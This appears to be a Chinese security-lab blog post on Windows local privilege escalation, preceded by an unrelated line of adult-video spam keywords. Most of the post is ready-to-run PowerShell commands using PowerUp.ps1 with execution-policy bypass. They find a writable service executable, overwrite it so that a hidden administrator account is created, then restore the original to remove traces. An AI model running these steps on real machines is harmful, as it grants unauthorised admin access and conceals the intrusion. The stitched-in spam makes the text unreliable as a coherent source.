中文字幕AV久久爽一区,中文在线字幕免费观看电视剧0087,中文字幕在线观看,日本中文字幕在线,中文字幕的,中文在线字幕免费观看电视剧大全

古語有云：“學如逆水行舟，不進則退。”面對如今隨時都在變化的網絡安全環境更是如此。為此，創信華通微信公眾號特開設“創安實驗室專欄”，以記錄創信華通創安實驗室在技術上的探索，加強同行間的交流，相互學習，共同進步。

?+

原理：利用PowerUp.ps1生成一個可以執行我們構造的惡意命令的同名可執行程序并替換原本的可執行程序。主程序執行時調用同名可執行程序來執行我們構造的惡意命令。

查找具有可寫的可執行文件：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

查看程序對用戶的權限：icacls "D:\tools\KGMusic\9.1.44.23567\service.exe"

利用可執行文件提權，向可寫程序中寫入創建用戶的payload：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Write-ServiceEXE -ServiceName KugouService -Username jin -Password jin -Verbose}"

等待服務重啟或對應程序再次運行：

可以看到此時新建了一個管理員權限的用戶jin

清理痕跡：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Restore-ServiceEXE -ServiceName KugouService}"

創安實驗室